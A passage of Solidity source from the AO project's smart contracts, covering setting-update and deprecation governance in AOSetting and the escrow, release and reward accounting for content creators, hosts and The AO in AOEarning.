// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoUintSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a bool setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new bool value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateBoolSetting(uint256 _settingId, bool _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 2, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoBoolSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBoolSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits an address setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new address value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateAddressSetting(uint256 _settingId, address _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 3, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoAddressSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoAddressSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a bytes32 setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new bytes32 value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateBytesSetting(uint256 _settingId, bytes32 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 4, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoBytesSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBytesSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a string setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new string value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateStringSetting(uint256 _settingId, string _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 5, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoStringSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoStringSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's proposalTAOId approves the setting update
* @param _settingId The ID of the setting to be approved
* @param _approved Whether to approve or reject
*/
function approveSettingUpdate(uint256 _settingId, bool _approved) public {
address _proposalTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
(,,, address _proposalTAOId,,,) = _aoSettingAttribute.getSettingState(_settingId);
require (_aoSettingAttribute.approveUpdate(_settingId, _proposalTAOAdvocate, _approved));
emit ApproveSettingUpdate(_settingId, _proposalTAOId, _proposalTAOAdvocate, _approved);
}
/**
* @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved
* @param _settingId The ID of the setting to be finalized
*/
function finalizeSettingUpdate(uint256 _settingId) public {
address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.finalizeUpdate(_settingId, _associatedTAOAdvocate));
(,,, address _associatedTAOId,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId);
_movePendingToSetting(_settingId, _settingType);
emit FinalizeSettingUpdate(_settingId, _associatedTAOId, _associatedTAOAdvocate);
}
/**
* @dev Advocate of _creatorTAOId adds a setting deprecation
* @param _settingId The ID of the setting to be deprecated
* @param _newSettingId The new setting ID to route
* @param _newSettingContractAddress The new setting contract address to route
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
*/
function addSettingDeprecation(uint256 _settingId, uint256 _newSettingId, address _newSettingContractAddress, address _creatorTAOId, address _associatedTAOId) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) onlyAdvocate(_creatorTAOId) {
(bytes32 _associatedTAOSettingDeprecationId, bytes32 _creatorTAOSettingDeprecationId) = _aoSettingAttribute.addDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress);
emit SettingDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress, _associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId);
}
/**
* @dev Advocate of SettingDeprecation's _associatedTAOId approves setting deprecation
* @param _settingId The ID of the setting to approve
* @param _approved Whether to approve or reject
*/
function approveSettingDeprecation(uint256 _settingId, bool _approved) public {
address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.approveDeprecation(_settingId, _associatedTAOAdvocate, _approved));
(,,, address _associatedTAOId,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId);
emit ApproveSettingDeprecation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved);
}
/**
* @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the setting deprecation once the setting deprecation is approved
* @param _settingId The ID of the setting to be finalized
*/
function finalizeSettingDeprecation(uint256 _settingId) public {
address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.finalizeDeprecation(_settingId, _creatorTAOAdvocate));
(,, address _creatorTAOId,,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId);
emit FinalizeSettingDeprecation(_settingId, _creatorTAOId, _creatorTAOAdvocate);
}
/**
* @dev Get setting Id given an associatedTAOId and settingName
* @param _associatedTAOId The ID of the AssociatedTAO
* @param _settingName The name of the setting
* @return the ID of the setting
*/
function getSettingIdByTAOName(address _associatedTAOId, string _settingName) public view returns (uint256) {
return nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))];
}
/**
* @dev Get setting values by setting ID.
* Will throw error if the setting is not exist or rejected.
* @param _settingId The ID of the setting
* @return the uint256 value of this setting ID
* @return the bool value of this setting ID
* @return the address value of this setting ID
* @return the bytes32 value of this setting ID
* @return the string value of this setting ID
*/
function getSettingValuesById(uint256 _settingId) public view returns (uint256, bool, address, bytes32, string) {
require (_aoSettingAttribute.settingExist(_settingId));
_settingId = _aoSettingAttribute.getLatestSettingId(_settingId);
return (
_aoUintSetting.settingValue(_settingId),
_aoBoolSetting.settingValue(_settingId),
_aoAddressSetting.settingValue(_settingId),
_aoBytesSetting.settingValue(_settingId),
_aoStringSetting.settingValue(_settingId)
);
}
/**
* @dev Get setting values by taoId and settingName.
* Will throw error if the setting is not exist or rejected.
* @param _taoId The ID of the TAO
* @param _settingName The name of the setting
* @return the uint256 value of this setting ID
* @return the bool value of this setting ID
* @return the address value of this setting ID
* @return the bytes32 value of this setting ID
* @return the string value of this setting ID
*/
function getSettingValuesByTAOName(address _taoId, string _settingName) public view returns (uint256, bool, address, bytes32, string) {
return getSettingValuesById(getSettingIdByTAOName(_taoId, _settingName));
}
/***** Internal Method *****/
/**
* @dev Store setting creation data
* @param _creatorNameId The nameId that created the setting
* @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string
* @param _settingName The human-readable name of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function _storeSettingCreation(address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal {
// Make sure _settingType is in supported list
require (_settingType >= 1 && _settingType <= 5);
// Store nameSettingLookup
nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] = totalSetting;
// Store setting data/state
(bytes32 _associatedTAOSettingId, bytes32 _creatorTAOSettingId) = _aoSettingAttribute.add(totalSetting, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
emit SettingCreation(totalSetting, _creatorNameId, _creatorTAOId, _associatedTAOId, _settingName, _settingType, _associatedTAOSettingId, _creatorTAOSettingId);
}
/**
* @dev Move value of _settingId from pending variable to setting variable
* @param _settingId The ID of the setting
* @param _settingType The type of the setting
*/
function _movePendingToSetting(uint256 _settingId, uint8 _settingType) internal {
// If settingType == uint256
if (_settingType == 1) {
_aoUintSetting.movePendingToSetting(_settingId);
} else if (_settingType == 2) {
// Else if settingType == bool
_aoBoolSetting.movePendingToSetting(_settingId);
} else if (_settingType == 3) {
// Else if settingType == address
_aoAddressSetting.movePendingToSetting(_settingId);
} else if (_settingType == 4) {
// Else if settingType == bytes32
_aoBytesSetting.movePendingToSetting(_settingId);
} else {
// Else if settingType == string
_aoStringSetting.movePendingToSetting(_settingId);
}
}
}
/**
* @title AOEarning
*
* This contract stores the earning from staking/hosting content on AO
*/
contract AOEarning is TheAO {
using SafeMath for uint256;
address public settingTAOId;
address public aoSettingAddress;
address public baseDenominationAddress;
address public treasuryAddress;
address public nameFactoryAddress;
address public pathosAddress;
address public ethosAddress;
bool public paused;
bool public killed;
AOToken internal _baseAO;
AOTreasury internal _treasury;
NameFactory internal _nameFactory;
Pathos internal _pathos;
Ethos internal _ethos;
AOSetting internal _aoSetting;
// Total earning from staking content from all nodes
uint256 public totalStakeContentEarning;
// Total earning from hosting content from all nodes
uint256 public totalHostContentEarning;
// Total The AO earning
uint256 public totalTheAOEarning;
// Mapping from address to his/her earning from content that he/she staked
mapping (address => uint256) public stakeContentEarning;
// Mapping from address to his/her earning from content that he/she hosted
mapping (address => uint256) public hostContentEarning;
// Mapping from address to his/her network price earning
// i.e, when staked amount = filesize
mapping (address => uint256) public networkPriceEarning;
// Mapping from address to his/her content price earning
// i.e, when staked amount > filesize
mapping (address => uint256) public contentPriceEarning;
// Mapping from address to his/her inflation bonus
mapping (address => uint256) public inflationBonusAccrued;
struct Earning {
bytes32 purchaseId;
uint256 paymentEarning;
uint256 inflationBonus;
uint256 pathosAmount;
uint256 ethosAmount;
}
// Mapping from address to earning from staking content of a purchase ID
mapping (address => mapping(bytes32 => Earning)) public stakeEarnings;
// Mapping from address to earning from hosting content of a purchase ID
mapping (address => mapping(bytes32 => Earning)) public hostEarnings;
// Mapping from purchase ID to earning for The AO
mapping (bytes32 => Earning) public theAOEarnings;
// Mapping from stake ID to it's total earning from staking
mapping (bytes32 => uint256) public totalStakedContentStakeEarning;
// Mapping from stake ID to it's total earning from hosting
mapping (bytes32 => uint256) public totalStakedContentHostEarning;
// Mapping from stake ID to it's total earning earned by The AO
mapping (bytes32 => uint256) public totalStakedContentTheAOEarning;
// Mapping from content host ID to it's total earning
mapping (bytes32 => uint256) public totalHostContentEarningById;
// Event to be broadcasted to public when content creator/host earns the payment split in escrow when request node buys the content
// recipientType:
// 0 => Content Creator (Stake Owner)
// 1 => Node Host
// 2 => The AO
event PaymentEarningEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalPaymentAmount, uint256 recipientProfitPercentage, uint256 recipientPaymentEarning, uint8 recipientType);
// Event to be broadcasted to public when content creator/host/The AO earns inflation bonus in escrow when request node buys the content
// recipientType:
// 0 => Content Creator (Stake Owner)
// 1 => Node Host
// 2 => The AO
event InflationBonusEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalInflationBonusAmount, uint256 recipientProfitPercentage, uint256 recipientInflationBonus, uint8 recipientType);
// Event to be broadcasted to public when content creator/host/The AO earning is released from escrow
// recipientType:
// 0 => Content Creator (Stake Owner)
// 1 => Node Host
// 2 => The AO
event EarningUnescrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 paymentEarning, uint256 inflationBonus, uint8 recipientType);
// Event to be broadcasted to public when content creator's Name earns Pathos when a node buys a content
event PathosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount);
// Event to be broadcasted to public when host's Name earns Ethos when a node buys a content
event EthosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount);
// Event to be broadcasted to public when emergency mode is triggered
event EscapeHatch();
/**
* @dev Constructor function
* @param _settingTAOId The TAO ID that controls the setting
* @param _aoSettingAddress The address of AOSetting
* @param _baseDenominationAddress The address of AO base token
* @param _treasuryAddress The address of AOTreasury
* @param _nameFactoryAddress The address of NameFactory
* @param _pathosAddress The address of Pathos
* @param _ethosAddress The address of Ethos
*/
constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _nameFactoryAddress, address _pathosAddress, address _ethosAddress) public {
settingTAOId = _settingTAOId;
aoSettingAddress = _aoSettingAddress;
baseDenominationAddress = _baseDenominationAddress;
treasuryAddress = _treasuryAddress;
pathosAddress = _pathosAddress;
ethosAddress = _ethosAddress;
_aoSetting = AOSetting(_aoSettingAddress);
_baseAO = AOToken(_baseDenominationAddress);
_treasury = AOTreasury(_treasuryAddress);
_nameFactory = NameFactory(_nameFactoryAddress);
_pathos = Pathos(_pathosAddress);
_ethos = Ethos(_ethosAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if contract is currently active
*/
modifier isContractActive {
require (paused == false && killed == false);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO pauses/unpauses contract
* @param _paused Either to pause contract or not
*/
function setPaused(bool _paused) public onlyTheAO {
paused = _paused;
}
/**
* @dev The AO triggers emergency mode.
*
*/
function escapeHatch() public onlyTheAO {
require (killed == false);
killed = true;
emit EscapeHatch();
}
/**
* @dev The AO updates base denomination address
* @param _newBaseDenominationAddress The new address
*/
function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO {
require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0);
baseDenominationAddress = _newBaseDenominationAddress;
_baseAO = AOToken(baseDenominationAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Calculate the content creator/host/The AO earning when request node buys the content.
* Also at this stage, all of the earnings are stored in escrow
* @param _buyer The request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _networkAmountStaked The amount of network tokens at stake
* @param _primordialAmountStaked The amount of primordial tokens at stake
* @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _host The address of the host
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
*/
function calculateEarning(
address _buyer,
bytes32 _purchaseId,
uint256 _networkAmountStaked,
uint256 _primordialAmountStaked,
uint256 _primordialWeightedMultiplierStaked,
uint256 _profitPercentage,
address _stakeOwner,
address _host,
bool _isAOContentUsageType
) public isContractActive inWhitelist returns (bool) {
// Split the payment earning between content creator and host and store them in escrow
_escrowPaymentEarning(_buyer, _purchaseId, _networkAmountStaked.add(_primordialAmountStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType);
// Calculate the inflation bonus earning for content creator/node/The AO in escrow
_escrowInflationBonus(_purchaseId, _calculateInflationBonus(_networkAmountStaked, _primordialAmountStaked, _primordialWeightedMultiplierStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType);
return true;
}
/**
* @dev Release the payment earning and inflation bonus that is in escrow for specific purchase ID
* @param _stakeId The ID of the staked content
* @param _contentHostId The ID of the hosted content
* @param _purchaseId The purchase receipt ID to check
* @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content
* @param _stakeOwner The address of the stake owner
* @param _host The address of the node that host the file
* @return true on success
*/
function releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _stakeOwner, address _host) public isContractActive inWhitelist returns (bool) {
// Release the earning in escrow for stake owner
_releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _stakeOwner, 0);
// Release the earning in escrow for host
_releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _host, 1);
// Release the earning in escrow for The AO
_releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, theAO, 2);
return true;
}
/***** INTERNAL METHODS *****/
/**
* @dev Calculate the payment split for content creator/host and store them in escrow
* @param _buyer the request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _host The address of the host
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
*/
function _escrowPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType) internal {
(uint256 _stakeOwnerEarning, uint256 _pathosAmount) = _escrowStakeOwnerPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _stakeOwner, _isAOContentUsageType);
(uint256 _ethosAmount) = _escrowHostPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _host, _isAOContentUsageType, _stakeOwnerEarning);
_escrowTheAOPaymentEarning(_purchaseId, _totalStaked, _pathosAmount, _ethosAmount);
}
/**
* @dev Calculate the inflation bonus amount
* @param _networkAmountStaked The amount of network tokens at stake
* @param _primordialAmountStaked The amount of primordial tokens at stake
* @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake
* @return the bonus network amount
*/
function _calculateInflationBonus(uint256 _networkAmountStaked, uint256 _primordialAmountStaked, uint256 _primordialWeightedMultiplierStaked) internal view returns (uint256) {
(uint256 inflationRate,,) = _getSettingVariables();
uint256 _networkBonus = _networkAmountStaked.mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR());
uint256 _primordialBonus = _primordialAmountStaked.mul(_primordialWeightedMultiplierStaked).div(AOLibrary.MULTIPLIER_DIVISOR()).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR());
return _networkBonus.add(_primordialBonus);
}
/**
* @dev Mint the inflation bonus for content creator/host/The AO and store them in escrow
* @param _purchaseId The ID of the purchase receipt object
* @param _inflationBonusAmount The amount of inflation bonus earning
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _host The address of the host
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
*/
function _escrowInflationBonus(
bytes32 _purchaseId,
uint256 _inflationBonusAmount,
uint256 _profitPercentage,
address _stakeOwner,
address _host,
bool _isAOContentUsageType
) internal {
(, uint256 theAOCut,) = _getSettingVariables();
if (_inflationBonusAmount > 0) {
// Store how much the content creator earns in escrow
uint256 _stakeOwnerInflationBonus = _isAOContentUsageType ? (_inflationBonusAmount.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0;
Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId];
_stakeEarning.inflationBonus = _stakeOwnerInflationBonus;
require (_baseAO.mintTokenEscrow(_stakeOwner, _stakeEarning.inflationBonus));
emit InflationBonusEscrowed(_stakeOwner, _purchaseId, _inflationBonusAmount, _profitPercentage, _stakeEarning.inflationBonus, 0);
// Store how much the host earns in escrow
Earning storage _hostEarning = hostEarnings[_host][_purchaseId];
_hostEarning.inflationBonus = _inflationBonusAmount.sub(_stakeOwnerInflationBonus);
require (_baseAO.mintTokenEscrow(_host, _hostEarning.inflationBonus));
emit InflationBonusEscrowed(_host, _purchaseId, _inflationBonusAmount, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.inflationBonus, 1);
// Store how much the The AO earns in escrow
Earning storage _theAOEarning = theAOEarnings[_purchaseId];
_theAOEarning.inflationBonus = (_inflationBonusAmount.mul(theAOCut)).div(AOLibrary.PERCENTAGE_DIVISOR());
require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.inflationBonus));
emit InflationBonusEscrowed(theAO, _purchaseId, _inflationBonusAmount, theAOCut, _theAOEarning.inflationBonus, 2);
} else {
emit InflationBonusEscrowed(_stakeOwner, _purchaseId, 0, _profitPercentage, 0, 0);
emit InflationBonusEscrowed(_host, _purchaseId, 0, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), 0, 1);
emit InflationBonusEscrowed(theAO, _purchaseId, 0, theAOCut, 0, 2);
}
}
/**
* @dev Release the escrowed earning for a specific purchase ID for an account
* @param _stakeId The ID of the staked content
* @param _contentHostId The ID of the hosted content
* @param _purchaseId The purchase receipt ID
* @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content
* @param _account The address of account that made the earning (content creator/host)
* @param _recipientType The type of the earning recipient (0 => content creator. 1 => host. 2 => theAO)
*/
function _releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _account, uint8 _recipientType) internal {
// Make sure the recipient type is valid
require (_recipientType >= 0 && _recipientType <= 2);
uint256 _paymentEarning;
uint256 _inflationBonus;
uint256 _totalEarning;
uint256 _pathosAmount;
uint256 _ethosAmount;
if (_recipientType == 0) {
Earning storage _earning = stakeEarnings[_account][_purchaseId];
_paymentEarning = _earning.paymentEarning;
_inflationBonus = _earning.inflationBonus;
_pathosAmount = _earning.pathosAmount;
_earning.paymentEarning = 0;
_earning.inflationBonus = 0;
_earning.pathosAmount = 0;
_earning.ethosAmount = 0;
_totalEarning = _paymentEarning.add(_inflationBonus);
// Update the global var settings
totalStakeContentEarning = totalStakeContentEarning.add(_totalEarning);
stakeContentEarning[_account] = stakeContentEarning[_account].add(_totalEarning);
totalStakedContentStakeEarning[_stakeId] = totalStakedContentStakeEarning[_stakeId].add(_totalEarning);
if (_buyerPaidMoreThanFileSize) {
contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning);
} else {
networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning);
}
inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus);
// Reward the content creator/stake owner with some Pathos
require (_pathos.mintToken(_nameFactory.ethAddressToNameId(_account), _pathosAmount));
emit PathosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _pathosAmount);
} else if (_recipientType == 1) {
_earning = hostEarnings[_account][_purchaseId];
_paymentEarning = _earning.paymentEarning;
_inflationBonus = _earning.inflationBonus;
_ethosAmount = _earning.ethosAmount;
_earning.paymentEarning = 0;
_earning.inflationBonus = 0;
_earning.pathosAmount = 0;
_earning.ethosAmount = 0;
_totalEarning = _paymentEarning.add(_inflationBonus);
// Update the global var settings
totalHostContentEarning = totalHostContentEarning.add(_totalEarning);
hostContentEarning[_account] = hostContentEarning[_account].add(_totalEarning);
totalStakedContentHostEarning[_stakeId] = totalStakedContentHostEarning[_stakeId].add(_totalEarning);
totalHostContentEarningById[_contentHostId] = totalHostContentEarningById[_contentHostId].add(_totalEarning);
if (_buyerPaidMoreThanFileSize) {
contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning);
} else {
networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning);
}
inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus);
// Reward the host node with some Ethos
require (_ethos.mintToken(_nameFactory.ethAddressToNameId(_account), _ethosAmount));
emit EthosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _ethosAmount);
} else {
_earning = theAOEarnings[_purchaseId];
_paymentEarning = _earning.paymentEarning;
_inflationBonus = _earning.inflationBonus;
_earning.paymentEarning = 0;
_earning.inflationBonus = 0;
_earning.pathosAmount = 0;
_earning.ethosAmount = 0;
_totalEarning = _paymentEarning.add(_inflationBonus);
// Update the global var settings
totalTheAOEarning = totalTheAOEarning.add(_totalEarning);
inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus);
totalStakedContentTheAOEarning[_stakeId] = totalStakedContentTheAOEarning[_stakeId].add(_totalEarning);
}
require (_baseAO.unescrowFrom(_account, _totalEarning));
emit EarningUnescrowed(_account, _purchaseId, _paymentEarning, _inflationBonus, _recipientType);
}
/**
* @dev Get setting variables
* @return inflationRate The rate to use when calculating inflation bonus
* @return theAOCut The rate to use when calculating the AO earning
* @return theAOEthosEarnedRate The rate to use when calculating the Ethos to AO rate for the AO
*/
function _getSettingVariables() internal view returns (uint256, uint256, uint256) {
(uint256 inflationRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'inflationRate');
(uint256 theAOCut,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOCut');
(uint256 theAOEthosEarnedRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOEthosEarnedRate');
return (inflationRate, theAOCut, theAOEthosEarnedRate);
}
/**
* @dev Calculate the payment split for content creator and store them in escrow
* @param _buyer the request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
* @return The stake owner's earning amount
* @return The pathos earned from this transaction
*/
function _escrowStakeOwnerPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, bool _isAOContentUsageType) internal returns (uint256, uint256) {
(uint256 inflationRate,,) = _getSettingVariables();
Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId];
_stakeEarning.purchaseId = _purchaseId;
// Store how much the content creator (stake owner) earns in escrow
// If content is AO Content Usage Type, stake owner earns 0%
// and all profit goes to the serving host node
_stakeEarning.paymentEarning = _isAOContentUsageType ? (_totalStaked.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0;
// Pathos = Price X Node Share X Inflation Rate
_stakeEarning.pathosAmount = _totalStaked.mul(AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage)).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR());
require (_baseAO.escrowFrom(_buyer, _stakeOwner, _stakeEarning.paymentEarning));
emit PaymentEarningEscrowed(_stakeOwner, _purchaseId, _totalStaked, _profitPercentage, _stakeEarning.paymentEarning, 0);
return (_stakeEarning.paymentEarning, _stakeEarning.pathosAmount);
}
/**
* @dev Calculate the payment split for host node and store them in escrow
* @param _buyer the request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _profitPercentage The content creator's profit percentage
* @param _host The address of the host node
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
* @param _stakeOwnerEarning The stake owner's earning amount
* @return The ethos earned from this transaction
*/
function _escrowHostPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _host, bool _isAOContentUsageType, uint256 _stakeOwnerEarning) internal returns (uint256) {
(uint256 inflationRate,,) = _getSettingVariables();
// Store how much the node host earns in escrow
Earning storage _hostEarning = hostEarnings[_host][_purchaseId];
_hostEarning.purchaseId = _purchaseId;
_hostEarning.paymentEarning = _totalStaked.sub(_stakeOwnerEarning);
// Ethos = Price X Creator Share X Inflation Rate
_hostEarning.ethosAmount = _totalStaked.mul(_profitPercentage).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR());
